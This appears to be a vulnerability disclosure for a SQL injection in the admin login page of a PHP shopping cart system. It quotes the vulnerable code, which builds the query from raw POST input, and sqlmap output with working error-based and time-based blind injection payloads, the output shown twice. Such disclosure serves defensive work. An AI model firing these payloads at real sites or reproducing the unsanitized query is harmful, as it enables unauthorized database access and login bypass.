simple and beautiful shopping cart system login.php has Sqlinjection

simple and beautiful shopping cart system login.php has Sqlinjection,The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly.An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```php
<?php
include('../db/config.php');

if (isset($_POST['login'])){

$username=$_POST['username'];
$password=$_POST['password'];

$login_query=mysqli_query($conn,"select * from admin where username='$username' and password='$password'
$count=mysqli_num_rows($login_query);
$row=mysqli_fetch_array($login_query);
$firstname=$row['firstname'];
$lastname=$row['lastname'];

if ($count > 0){
```

```
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 1126 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 6780 FROM(SELECT COUNT(*),CONCAT(0x71766a6271,(SELECT (ELT(6780=6780,1))),0x717
87a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- OiNo&password=123456&login=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 6885 FROM (SELECT(SLEEP(5)))Blft)-- MeYu&password=123456&login=Login
---
```

Sqlmap Attack

```
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
y
sqlmap identified the following injection point(s) with a total of 1126 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 6780 FROM(SELECT COUNT(*),CONCAT(0x71766a6271,(SELECT
(ELT(6780=6780,1))),0x71787a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)-- OiNo&password=123456&login=Login
```

```
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 6885 FROM (SELECT(SLEEP(5)))Blft)--
MeYu&password=123456&login=Login
---
```